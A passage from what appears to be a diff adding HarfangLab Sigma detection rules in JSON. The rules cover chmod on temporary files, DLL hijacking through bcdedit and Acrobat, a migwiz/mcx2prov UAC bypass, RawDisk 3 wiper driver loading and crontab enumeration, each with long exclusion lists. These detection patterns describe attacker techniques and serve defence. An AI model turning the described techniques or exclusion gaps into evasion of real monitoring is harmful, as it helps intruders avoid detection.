'|/opt/puppetlabs/puppet/bin/ruby|'\n\n    exclusion_dispatch:\n        Path:\n            - '/tmp/*-dispatch-script.tmp.sh'\n            - '/var/tmp/*-dispatch-script.tmp.sh'\n            - '/tmp/*-dispatch-script.tmp.py'\n            - '/var/tmp/*-dispatch-script.tmp.py'\n\n    exclusion_veeam_1:\n        Path:\n            - '/tmp/VeeamAgent????????-????-????-????-????????????'\n            - '/tmp/VeeamApp_????????-????-????-????-????????????'\n\n    exclusion_veeam_2:\n        # sudo -S -k -p VEEAM_PWD_PROMPT chmod 0766 /tmp/4d62246d-fccb-4f29-a9e7-8d094bd65bde\n        # sudo -S -k -p VEEAM_PWD_PROMPT chmod 0766 /tmp/vindexing_c2c3dca7-ea7a-4ccc-af59-80babb9bcfaf/temp_ada23dab-bdd2-497a-aecf-ef0c3344ef80/summary.txt\n        ProcessParentCommandLine|contains: 'VEEAM_PWD_PROMPT'\n\n    exclusion_ansible:\n        Path|contains:\n            - '/tmp/ansible-tmp-*/'\n            - '/tmp/.ansible-tmp-*/'\n\n    exclusion_nakivo:\n        ProcessParentImage: '/opt/nakivo/director/jre/bin/java'\n\n    # A lot of build systems execute test binaries\n    exclusion_make:\n        - ProcessParentImage: '/usr/bin/make'\n        - ProcessGrandparentImage: '/usr/bin/make'\n\n    exclusion_timeshift:\n        ProcessParentImage: '/usr/bin/timeshift'\n\n    exclusion_mag2:\n        ProcessParentCommandLine|startswith: '/bin/ksh /m2/appli/'\n\n    exclusion_xpipe:\n        ProcessParentImage: '/opt/xpipe/app/bin/xpiped'\n\n    exclusion_containerd:\n        ProcessGrandparentImage:\n            - '/usr/bin/containerd-shim'\n            - '/usr/bin/containerd-shim-runc-v2'\n\n    exclusion_docker:\n        ProcessAncestors|contains: '|/usr/bin/runc|/usr/bin/dockerd|'\n\n    exclusion_git:\n        ProcessGrandparentImage: '/usr/lib/git-core/git'\n\n    exclusion_netdata:\n        ProcessCommandLine:\n            - 'chmod +x ./netdata-updater.sh'\n            - 'chmod +x /tmp/netdata-test.*'\n        ProcessParentCommandLine:\n            - 'bash /etc/cron.daily/netdata-updater'\n            - '/bin/sh /etc/cron.daily/netdata-updater'\n            - '/bin/sh ./netdata-updater.sh '\n            - '/bin/sh /tmp/netdata-updater-*/netdata-updater.sh *'\n            - '/bin/sh ./netdata-installer.sh --auto-update *'\n\n    exclusion_bootstrap:\n        ProcessCommandLine: 'chmod 0700 /tmp/.sudo_bootstrap????????-????-????-????-????????????.sh'\n        ProcessParentImage: '/usr/sbin/sshd'\n\n    exclusion_install_java:\n        ProcessParentCommandLine: '/bin/sh -x /tmp/cbe.*'\n        ProcessGrandparentImage: '/tmp/install.dir.*/Linux/resource/jre/bin/java'\n\n    exclusion_pyenv:\n        ProcessCommandLine:\n            - 'chmod +x ./config.status'\n            - 'chmod +x /tmp/python-build-test.*'\n            - 'chmod +x Modules/ld_so_aix'\n\n    exclusion_kettle:\n        ProcessCommandLine: 'chmod +x /tmp/kettle_*shell'\n        ProcessParentImage|endswith: '/bin/java'\n\n    exclusion_tabletopesimulator:\n        ProcessCommandLine:\n            - 'chmod +x libtool'\n            - 'chmod +x config.nice'\n        ProcessParentCommandLine:\n            - '/bin/bash /tmp/pear/temp/*'\n            - '/bin/bash ./config.status'\n            - '/bin/bash ./config.status --quiet'\n\n    exclusion_crio:\n        ProcessCommandLine: 'chmod +x /tmp/k8star'\n        ProcessGrandparentCommandLine|startswith: /usr/bin/crio-crun --root /run/crun '\n\n    exclusion_android-studio:\n        ProcessCommandLine: 'chmod +x /tmp/shunit.*'\n        ProcessAncestors|contains: '|/snap/android-studio/*/jbr/bin/java|'\n\n    # Rundeck or Ansible\n    exclusion_rundeck:\n        ProcessCommandLine:\n            - 'chmod +x /tmp/?????????????-*-dispatch-script.sh'\n            - 'chmod +x /tmp/*-*-*.temp.sh'\n            - 'chmod +x /tmp/*-*-*-*.temp.py'\n        ProcessParentImage: '/usr/sbin/sshd'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6f41b447-3247-40d8-a860-f66a138a0ed4",
+  "rule_name": "Execution Permission of a Temporary File Set via chmod",
+  "rule_description": "Detects a suspicious attempt to give the execution permissions to a temporary file using the chmod command.\nThis is often used by attackers to give execution permission to their malicious tools, either compiled locally or downloaded from the internet.\nIt is recommended to investigate the file to determine its legitimacy.\n",
+  "rule_creation_date": "2024-06-19",
+  "rule_modified_date": "2025-10-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.004",
+    "attack.t1222.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6f5ae5e9-afd3-47d8-8c09-3cf9e6889852",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.592020Z",
+  "creation_date": "2026-03-23T11:45:34.592023Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.592031Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_bcdedit.yml",
+  "content": "title: DLL Hijacking via bcdedit.exe\nid: 6f5ae5e9-afd3-47d8-8c09-3cf9e6889852\ndescription: |\n    Detects potential Windows DLL Hijacking via bcdedit.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'bcdedit.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\cryptsp.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6f5ae5e9-afd3-47d8-8c09-3cf9e6889852",
+  "rule_name": "DLL Hijacking via bcdedit.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via bcdedit.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6f6e37f2-2f9d-4b37-9d9a-74ed25de6333",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092900Z",
+  "creation_date": "2026-03-23T11:45:34.092902Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092906Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://null-byte.wonderhowto.com/how-to/bypass-uac-using-dll-hijacking-0168600/"
+  ],
+  "name": "t1548_002_uac_bypass_migwiz_mcx2prov.yml",
+  "content": "title: UAC Bypass Executed via migwiz and mcx2prov\nid: 6f6e37f2-2f9d-4b37-9d9a-74ed25de6333\ndescription: |\n    Detects the migwiz.exe and mcx2prov.exe DLL hijacking UAC bypasses.\n    Attackers may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to investigate the origin of the loaded DLL and to analyze its content.\nreferences:\n    - https://null-byte.wonderhowto.com/how-to/bypass-uac-using-dll-hijacking-0168600/\ndate: 2020/10/15\nmodified: 2025/02/05\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - attack.t1548.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image:\n            - '?:\\Windows\\ehome\\mcx2prov.exe'\n            - '?:\\Windows\\System32\\migwiz\\migwiz.exe'\n        ImageLoaded:\n            - '?:\\Windows\\System32\\migwiz\\CryptBase.dll'\n            - '?:\\Windows\\System32\\migwiz\\CryptSP.dll'\n            - '?:\\Windows\\System32\\migwiz\\WdsCore.dll'\n    filter_signed:\n        Signed: 'true'\n        Signature|contains: 'Microsoft Windows'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6f6e37f2-2f9d-4b37-9d9a-74ed25de6333",
+  "rule_name": "UAC Bypass Executed via migwiz and mcx2prov",
+  "rule_description": "Detects the migwiz.exe and mcx2prov.exe DLL hijacking UAC bypasses.\nAttackers may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to investigate the origin of the loaded DLL and to analyze its content.\n",
+  "rule_creation_date": "2020-10-15",
+  "rule_modified_date": "2025-02-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002",
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6fcaf0dc-8bb7-4983-9d14-46f71839bbb5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.609459Z",
+  "creation_date": "2026-03-23T11:45:34.609462Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.609470Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/",
+    "https://attack.mitre.org/software/S0364/",
+    "https://attack.mitre.org/techniques/T1561/001/"
+  ],
+  "name": "t1561_001_rawdsk3_dangerous_driver_loading.yml",
+  "content": "title: EldoS RawDisk 3 Dangerous Driver Loaded\nid: 6fcaf0dc-8bb7-4983-9d14-46f71839bbb5\ndescription: |\n    Detects the loading of the EldoS RawDisk 3 driver.\n    This driver has been used in the July 2022 Iranian attacks against the Albanian government in order to wipe drives.\n    It is recommended to investigate the activity on the endpoint near the driver loading to identify the process responsible for the driver creation and load.\nreferences:\n    - https://www.microsoft.com/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/\n    - https://attack.mitre.org/software/S0364/\n    - https://attack.mitre.org/techniques/T1561/001/\ndate: 2022/09/19\nmodified: 2025/03/07\nauthor: HarfangLab\ntags:\n    - attack.s0364\n    - attack.impact\n    - attack.t1561.001\n    - attack.t1561.002\n    - attack.t1485\n    - classification.Windows.Source.DriverLoad\n    - classification.Windows.Behavior.Deletion\nlogsource:\n    product: windows\n    category: driver_load\ndetection:\n    selection:\n        - DriverSha256: '3c9dc8ada56adf9cebfc501a2d3946680dcb0534a137e2e27a7fcb5994cd9de6'\n        - OriginalFileName: 'rawdsk3.sys'\n\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6fcaf0dc-8bb7-4983-9d14-46f71839bbb5",
+  "rule_name": "EldoS RawDisk 3 Dangerous Driver Loaded",
+  "rule_description": "Detects the loading of the EldoS RawDisk 3 driver.\nThis driver has been used in the July 2022 Iranian attacks against the Albanian government in order to wipe drives.\nIt is recommended to investigate the activity on the endpoint near the driver loading to identify the process responsible for the driver creation and load.\n",
+  "rule_creation_date": "2022-09-19",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1485",
+    "attack.t1561.001",
+    "attack.t1561.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6ff809b3-cedd-40bd-ad93-37e4dc9da8ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.764406Z",
+  "creation_date": "2026-03-23T11:45:35.294785Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.294789Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1053/003/"
+  ],
+  "name": "t1053_003_crontab_list_linux.yml",
+  "content": "title: Cron Jobs Enumerated via Crontab (Linux)\nid: 6ff809b3-cedd-40bd-ad93-37e4dc9da8ab\ndescription: |\n    Detects the execution of the crontab command to list all cron jobs.\n    An attacker can use the list of cron jobs to inject malicious behavior into unprotected scripts.\n    It is recommended to look for other malicious actions taken by the ancestors of crontab and to investigate the execution context to determine the legitimacy of this action.\nreferences:\n    - https://attack.mitre.org/techniques/T1053/003/\ndate: 2023/01/03\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1053.003\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.LOLBin.Crontab\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/crontab'\n        CommandLine:\n            - 'crontab -l'\n            - '/bin/crontab -l'\n            - '/usr/bin/crontab -l'\n        # Filter-out missing parents\n        ParentImage|contains: '?'\n\n    exclusion_commandline:\n        ParentCommandLine|startswith:\n            - 'ksh /oradata/'\n            - 'ksh /opt/mysql/bin/'\n            - 'bash /opt/mysql/bin/'\n            - 'ksh /opt/pgsql/bin/'\n            - 'bash /opt/pgsql/bin/'\n\n    exclusion_plesk:\n        ParentImage:\n            - '/usr/local/psa/admin/sbin/wrapper'\n            - '/usr/local/psa/admin/sbin/crontabmng'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_ansible_script:\n        - CommandLine|endswith: '/AnsiballZ_cron.py'\n        - ParentCommandLine|endswith:\n            - '/AnsiballZ_cron.py'\n            - '/AnsiballZ_command.py'\n\n    exclusion_netbackup:\n        GrandparentCommandLine:\n            - '/usr/openv/netbackup/bin/bprd'\n            - '/usr/openv/netbackup/bin/nbpas'\n\n    exclusion_puppet:\n        - ParentImage: '/opt/puppetlabs/puppet/bin/ruby'\n        - GrandparentImage: '/opt/puppetlabs/puppet/bin/ruby'\n\n    exclusion_puppet_agent:\n        - ParentCommandLine|startswith: '/usr/bin/ruby /usr/bin/puppet agent '\n        - GrandparentCommandLine|startswith: '/usr/bin/ruby /usr/bin/puppet agent '\n\n    exclusion_timeshift:\n        - ParentImage:\n            - '/usr/bin/timeshift'\n            - '/usr/bin/timeshift-gtk'\n        - ParentCommandLine: '/bin/bash -c timeshift --check --scripted'\n\n    exclusion_sosreport:\n        - GrandparentCommandLine: '/usr/bin/python /usr/sbin/sosreport'\n        - GrandparentCommandLine|startswith: '/usr/bin/python /usr/sbin/sosreport '\n\n    exclusion_chrootkit:\n        - ParentCommandLine: '/bin/sh /usr/sbin/chkrootkit'\n        - GrandparentCommandLine: '/bin/sh /usr/sbin/chkrootkit'\n\n    exclusion_crontabmng:\n        - ParentImage: '/opt/psa/admin/bin/crontabmng'\n        - GrandparentImage: '/opt/psa/admin/bin/crontabmng'\n\n    exclusion_insights_client:\n        ParentImage: '/usr/bin/timeout'\n        GrandparentCommandLine|contains:\n            - '/site-packages/insights_client/run.py'\n            - '/bin/insights-client-run'\n            - '/bin/redhat-access-insights'\n\n    exclusion_qualys:\n        ProcessAncestors|contains:\n            - '/usr/local/qualys/cloud-agent/bin/qualys-scan-util'\n            - '/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent'\n\n    exclusion_crond:\n        - GrandparentCommandLine: '/usr/sbin/crond -n'\n        - Ancestors|contains:\n            - '|/usr/sbin/cron|'\n            - '|/usr/sbin/crond|'\n\n    exclusion_oneautomation:\n        ProcessAncestors|contains: '|/opt/oneautomation/*/smgr/bin/ucybsmgr|'\n\n    exclusion_postgres:\n        ProcessCommandLine: 'crontab -u postgres -l'\n        ProcessCurrentDirectory: '/var/lib/pgcluu/data/'\n\n    exclusion_wazuh:\n        ProcessImage: '/var/ossec/bin/wazuh-modulesd'\n\n    exclusion_containerd:\n        ProcessAncestors|contains:\n            - '|/usr/bin/containerd|'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n\n    exclusion_ssh:\n        - GrandparentImage:\n            - '/usr/sbin/sshd'\n            - '/usr/lib/openssh/sshd-session'\n            - '/usr/local/sbin/sshd'\n        - GrandparentImage:\n            - '/bin/su'\n            - '/usr/bin/su'\n            - '/usr/bin/sudo'\n          Ancestors|contains:\n            - '|/usr/sbin/sshd|'\n            - '|/usr/lib/openssh/sshd-session|'\n            - '|/usr/local/sbin/sshd|'\n\n    # Open Monitoring Distribution (OMD)\n    exclusion_omd:\n        CurrentDirectory|startswith:\n            - '/opt/omd/sites/'\n            - '/data/omd/sites/'\n        ParentCommandLine: '/bin/bash /omd/sites/*/etc/rc.d/99-crontab status'\n\n    exclusion_nagios:\n        GrandparentCommandLine|startswith: 'bash -c /usr/local/nagios/libexec/check_'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6ff809b3-cedd-40bd-ad93-37e4dc9da8ab",
+  "rule_name": "Cron Jobs Enumerated via Crontab (Linux)",
+  "rule_description": "Detects the execution of the crontab command to list all cron jobs.\nAn attacker can use the list of cron jobs to inject malicious behavior into unprotected scripts.\nIt is recommended to look for other malicious actions taken by the ancestors of crontab and to investigate the execution context to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2023-01-03",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7011ac8f-bfbe-4598-b846-eef8d866ebc7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088216Z",
+  "creation_date": "2026-03-23T11:45:34.088219Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088223Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blogs.blackberry.com/en/2023/03/nobelium-targets-eu-governments-assisting-ukraine",
+    "https://www.gov.pl/web/baza-wiedzy/espionage-campaign-linked-to-russian-intelligence-services",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_acrobat.yml",
+  "content": "title: DLL Hijacking via Acrobat.exe\nid: 7011ac8f-bfbe-4598-b846-eef8d866ebc7\ndescription: |\n    Detects potential Windows DLL Hijacking via Acrobat.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by putting a legitimate Acrobat executable alongside a malicious winhttp.dll in RAR or ZIP packages.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://blogs.blackberry.com/en/2023/03/nobelium-targets-eu-governments-assisting-ukraine\n    - https://www.gov.pl/web/baza-wiedzy/espionage-campaign-linked-to-russian-intelligence-services\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2023/11/17\nmodified: 2025/10/10\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'Acrobat.exe'\n        ProcessSignature: 'Adobe Inc.'\n        ImageLoaded|endswith:\n            - '\\WINHTTP.dll'\n            - '\\WININET.dll'\n            - '\\vcruntime140.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\Adobe\\Acrobat Reader DC\\Reader\\'\n            - '?:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\'\n            - '?:\\Program Files\\Adobe\\Reader\\'\n            - '?:\\Program Files (x86)\\Adobe\\Reader\\'\n            - '?:\\Program Files\\Adobe\\Acrobat *\\Acrobat\\'\n            - '?:\\Program Files (x86)\\Adobe\\Acrobat *\\Acrobat\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n            - '\\Device\\\\*\\Windows\\System32\\'\n            - '\\Device\\\\*\\Windows\\SysWOW64\\'\n            - '\\Device\\\\*\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows Software Compatibility Publisher'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7011ac8f-bfbe-4598-b846-eef8d866ebc7",
+  "rule_name": "DLL Hijacking via Acrobat.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via Acrobat.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by putting a legitimate Acrobat executable alongside a malicious winhttp.dll in RAR or ZIP packages.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2023-11-17",
+  "rule_modified_date": "2025-10-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
